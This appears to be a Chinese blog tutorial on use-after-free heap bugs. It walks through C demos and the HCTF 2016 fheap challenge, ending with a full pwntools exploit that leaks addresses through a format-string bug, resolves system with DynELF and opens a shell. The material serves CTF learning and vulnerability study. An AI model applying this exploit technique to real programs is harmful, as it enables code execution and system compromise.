因为大作业的需求要调试一个浏览器的UAF漏洞,首先必须对UAF漏洞有个整体的了解,本篇文章主要讲解UAF造成的原因以及利用方法,这里结合2016年HCTF fheap
题目分析起来还是有点耐人寻味。

0x01 UAF 原理

这里首先放一段简单的c代码,让大家更容易理解(linux 环境)

#include <stdio.h>
#include <cstdlib>
#include <string.h>
int main()
{char *p1;p1 = (char *) malloc(sizeof(char)*10);//申请内存空间memcpy(p1,"hello",10);printf("p1 addr:%x,%s\n",p1,p1);free(p1);//释放内存空间char *p2;p2 = (char *)malloc(sizeof(char)*10);//二次申请内存空间,与第一次大小相同,申请到了同一块内存memcpy(p1,"world",10);//对内存进行修改printf("p2 addr:%x,%s\n",p2,p1);//验证return 0;
}

如上代码所示

1.指针p1申请内存,打印其地址值
2.然后释放p1
3.指针p2申请同样大小的内存,打印p2的地址,p1指针指向的值

Gcc编译,运行结果如下:

p1与p2地址相同,p1指针释放后,p2申请相同的大小的内存,操作系统会将之前给p1的地址分配给p2,修改p2的值,p1也被修改了。

重温程序,看注释


根本原因

应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

简单讲就是第一次申请的内存空间在释放过后没有进行内存回收,导致下次申请内存的时候再次使用该内存块,使得以前的内存指针可以访问修改过的内存。

0x02 漏洞的简单利用

还是先放一段程序(linux x86)

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));printf("malloc addr: %p\n",p1);p1[3]=echo;p1[3]("hello world\n");free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.printf("malloc addr: %p\n",p2);printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.p1[3]("/bin/sh");return 0;
}

运行效果

最后成功获取shell
具体的解释注释里面很清楚,详见注释

0x03 2016HCTF fheap

用了一天的时间调试程序,这里参考了FlappyPig与官方的详细题解,但是总觉的说的不够清楚,有些地方理所当然,作为小白根本看不懂。结合着自己的漏洞调试经验写出详细的分析过程,供大家参考。

0x1 题目分析

整个题目做下来利用到了很多知识点,这里列举一下

  1. UAF 二次释放& fastbin的特性
  2. 64位格式化字符串漏洞
  3. 无libc地址泄露,DynELF

主要运用的就是以上三点,首先寻找UAF可执行任意函数漏洞,其次利用puts函数寻找基址,接着利用printf格式化字符串进行内存泄露,最后UAF执行system函数

0x2 申请&释放 代码

在编写的时候注意,输入顺序,利用recvuntil控制输入流程

申请代码
def create(size,content):p.recvuntil("quit")p.send("create ")p.recvuntil("size:")p.send(str(size)+'\n')p.recvuntil('str:')p.send(content)p.recvuntil('\n')[:-1]释放代码
def delete(idx):p.recvuntil("quit")p.send("delete ")p.recvuntil('id:')p.send(str(idx)+'\n')p.recvuntil('sure?:')p.send('yes '+'\n')

0x3 UAF漏洞查找

程序自己实现了一套管理字符串的体系,但是在释放的时候用指针是否为空来判断该索引代表地方是否存放有字符串,如果指针不空,表示可以释放。但是释放完后,没有将指针置空,因此导致可以二次释放,多次释放

最后在释放内存之后,在delete后并没有置空,存在double free

0x4 利用UAF修改函数地址

首先我们了解一下本题的uaf漏洞,这里利用图片的形式展示一下关系

1.fastbin特性

fastbin维护的chunk分九个档次,大小从16字节到80字节,每8个字节一个档次。那我们要求的0x20(32)个字节,属于48字节的档次(因为每个chunk还要加上16字节的管理区),所以我们申请0x20空间后释放的chunk被归到fastbin[5]这个链表中了。

2.内存分布

利用gbd动态调试查看结构体内存

最后一个就是freeshort函数指针

总思路:首先是利用uaf,利用堆块之间申请与释放的步骤,形成对free_func指针的覆盖。从而达到劫持程序流的目的。具体来说,先申请的是三个字符创小于0xf的堆块,并将其释放。此时fastbin中空堆块的单链表结构如下左图,紧接着再申请一个字符串长度为0x20的字符串,此时,申请出来的堆中的数据会如下右图,此时后面申请出来的堆块与之前申请出来的1号堆块为同一内存空间,这时候输入的数据就能覆盖到1号堆块中的free_func指针,指向我们需要执行的函数,随后再调用1号堆块的free_func函数,即实现了劫持函数流的目的。

0x5 泄露基址

我们要知道堆的释放是一个先入后出的队列,也就是说你第最后一个释放,那么就地一个用,就本体而言首先申请三个堆块 ,其实两个就可以

    create(4,'aa')create(4,'bb')delete(1)delete(0)

通过调用puts函数打印该函数的地址(一开始我不怎么理解),为什么是覆盖成2d为什么不是1a等其他puts函数的地址,自己调试一下就知道了。

    data='a'*0x10+'b'*0x8+'\x2d'#第一次覆盖,泄露出函数地址。create(0x20,data)#在这里连续创建两个堆块,从而使输入的data与前面的块1公用一块内存。个堆块,从而使输入的data与前面的块1公用一块内存。delete(1)#这里劫持函数程序流function puts runningp.recvuntil('b'*0x8)data=p.recvuntil('1.')[:-2]print dataif len(data)>8:data=data[:8]data=u64(data.ljust(8,'\x00'))-0xA000000000000 #这里减掉的数可能不需要,自行调整print hex(data)proc_base=data-0xd2dprint "proc base",hex(proc_base)

找到了plt表的基地址,下面就是对于格式化字符串的利用

6.格式化字符串

我们想要知道system的地址,在没有libc的环境下,利用格式化字符串泄露内存地址从而得到system的加载地址

格式化字符串的洞,一开始不知道怎么发现的。但想了一下,格式化字符串的洞必须满足以下条件,
1. 用户的输入必须能打印
2. 用户输入的字符串在printf函数栈的上方(先压栈)

就这两个条件我们很快可以分析出漏洞的点就在create & delete 函数
我们首先create字符串调用delete 此时freeshort地址变成了printf,可以控制打印
但是我们的参数放在哪里呢?
我们又发现当输入yes时yes字符串在堆栈的位置正好是printf的上方

下面找一下printf的偏移

64位的格式化字符串 参见我的另一篇博客
找到偏移是9
这时编写leak函数

def leak(addr):delete_str(0)payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)create_str(0x20,payload)sh.recvuntil("quit")sh.send("delete ")    sh.recvuntil("id:")sh.send(str(1)+'\n')sh.recvuntil("?:")sh.send("yes.1111"+p64(addr)+"\n")  sh.recvuntil('a')data = sh.recvuntil('####')[:-4]if len(data) == 0:return '\x00'if len(data) <= 8:print hex(u64(data.ljust(8,'\x00')))return data

0x7 泄露system地址并使用

     #step 5 leak system addrcreate_str(0x20,payload)delete_str(1)#this one can not be ignore because DynELF use the delete_str() at begin     d = DynELF(leak, base_addr, elf=ELF('./pwn-f'))system_addr = d.lookup('system', 'libc')print 'system_addr:'+hex(system_addr)#step 6 recover old function to system then get shelldelete_str(0)create_str(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr))#attention /bin/bash; i don`t not why add the ';'delete_str(1)sh.interactive()

0x8 完整代码

from pwn import *
sh = process('./pwn-f')def create_str(size,str1):sh.recvuntil("quit")sh.send("create ")sh.recvuntil("size:")sh.send(str(size)+'\n')sh.recvuntil("str:")sh.send(str1)#here why can not i user '\n'# print '|',sh.recvuntil('\n')[:-1],'|'def delete_str(idn):sh.recvuntil("quit")sh.send("delete ")sh.recvuntil("id:")sh.send(str(idn)+'\n')sh.recvuntil("?:")sh.send("yes"+"\n")def leak(addr):delete_str(0)payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)create_str(0x20,payload)sh.recvuntil("quit")sh.send("delete ")    sh.recvuntil("id:")sh.send(str(1)+'\n')sh.recvuntil("?:")sh.send("yes.1111"+p64(addr)+"\n")  sh.recvuntil('a')data = sh.recvuntil('####')[:-4]if len(data) == 0:return '\x00'if len(data) <= 8:print hex(u64(data.ljust(8,'\x00')))return datadef main():global printf_addr#set global printf addr cus leak() use it #step 1 create & deletecreate_str(4,'aa')create_str(4,'aa')delete_str(1)delete_str(0)#step 2 recover old function addrpwn = ELF('./pwn-f')payload = "aaaaaaaa".ljust(0x18,'b')+'\x2d'# recover low bits,the reason why i choose \x2d is that the system flow decide bycreate_str(0x20,payload)delete_str(1)#step 3 leak base addrsh.recvuntil('b'*0x10)data = sh.recvuntil('\n')[:-1]if len(data)>8:data=data[:8]    data = u64(data.ljust(0x8,'\x00'))# leaked puts address use it to calc base addrbase_addr = data - 0xd2d#step 4 get printf func addrprintf_offset = pwn.plt['printf']printf_addr = base_addr + printf_offset #get real printf addrdelete_str(0)#step 5 leak system addrcreate_str(0x20,payload)delete_str(1)#this one can not be ignore because DynELF use the delete_str() at begin     d = DynELF(leak, base_addr, elf=ELF('./pwn-f'))system_addr = d.lookup('system', 'libc')print 'system_addr:'+hex(system_addr)#step 6 recover old function to system then get shelldelete_str(0)create_str(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr))#attention /bin/bash; i don`t not why add the ';'delete_str(1)sh.interactive()
if __name__ == '__main__':print 1main()

UAF (Use After Free)漏洞分析及利用相关推荐

  1. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  2. php5漏洞汇总,ThinkPHP 5.x RCE 漏洞分析与利用总结

    一.ThinkPHP 5.0.23 rce漏洞复现与总结 漏洞复现 thinkphp 5.0.23 rce thinkphp 5.0.23 rce源码下载: github:https://github ...

  3. Android“FakeID”签名漏洞分析和利用

    转自CSDN<程序员杂志>         作者:火点,三金 7月30号,新闻又爆出Bluebox安全研究团队发布的安卓新的签名漏洞 "假 ID",除了最新的4.4版本 ...

  4. Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

    Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 测试环境及工具: windbg IDA winxp sp3 这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一 ...

  5. Android Parcelable反序列化漏洞分析与利用

    文章目录 前言 背景知识 Parcelable序列化 Bundle的数据结构 LaunchAnyWhere CVE-2017-13288 漏洞利用原理解析 POC程序攻击演示 CVE-2017-133 ...

  6. 网络***实战:老Y文章管理系统V2.2注入漏洞分析与利用

    网络***实战:老Y文章管理系统V2.2注入漏洞分析与利用 安天365团队     同学说让我帮忙架设一个网站,同时要保证整个网站的安全.自己开发,开玩笑,工作量巨大,还是通过网络,在别人的基础上进行 ...

  7. Linux 二进制漏洞挖掘入门系列之(五)UAF 漏洞分析与利用

    0x10 UAF(Use After Free) 漏洞原理 这里,需要先介绍一下堆分配内存的原则.ptmalloc 是 glibc 的堆管理器,前身是 dlmalloc,Linux 中进程分配内存的两 ...

  8. Chrome漏洞分析与利用(三)——Issue-1062091漏洞分析

    Chrome Mojo 组件的沙箱逃逸漏洞分析 漏洞环境 漏洞说明 Issue-1062091为chrom中存在的一个UAF漏洞,此漏洞存在于chromium的Mojo框架中,利用此漏洞可以导致chr ...

  9. Vivotek 摄像头远程栈溢出漏洞分析及利用

    近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www. ...

最新文章

  1. C++对象模型3——vptr的位置、手动调用虚函数、从汇编代码看普通调用和多态调用
  2. 给未来元素添加事件 jquery 1.10.2 版本
  3. 多线程下ArrayList类线程不安全的解决方法及原理
  4. 周围剃光头顶留长发型_为什么很多秃头的人,宁愿周围留一圈头发,也不愿剃成光头?...
  5. 使用 Dockerfile 定制镜像
  6. Java 动态代理实现
  7. [html] 如何禁止手机端页面缩放?
  8. HTML5: 全局属性
  9. jenkins修改pom文件_DevOps实践:Jenkins与Nexus制品库集成
  10. 曹讯 计算机摄像学,计算摄像学: 全光视觉信息的计算采集
  11. PHP如何获取txt中的文字
  12. 设计原则 里氏替换原则
  13. android:“新版飞机大战”源码开源啦!
  14. 实验三 大数据可视化工具—ECharts
  15. python 中文分析句子成分_英语长难句看不懂,句子成分不会分析?一文轻松搞定...
  16. 微博Jquery案例
  17. JAVA课程设计--二维码实现签到
  18. mysql中存储ip地址,将ip转换为整数存储
  19. reporting services报表部署错误:运行配置文件中指定的扩展时出现异常。 ---> 超过了最大请求长度。
  20. 【SVAC2.0】国家安防监控SVAC2.0标准支持特性

热门文章

  1. C语言的C89标准与C99标准
  2. TI达芬奇系列TMS320DM8148浮点DSP C674x + ARM Cortex-A8JTAG仿真器接口、风扇接口
  3. es怎么实现master选举
  4. P1983 [NOIP2013 普及组] 车站分级
  5. go语言管道(channel)
  6. 【程序设计与实践】实验二:个人资金账户管理
  7. 度假式联合办公是创业者流行的新工作方式
  8. [cesium] 卫星扫描 + 地面雷达 + 实时通信过境 效果
  9. 关于做爬虫项目的一些小杂记
  10. 网易云课堂吴恩达Andrew Ng深度学习笔记(四)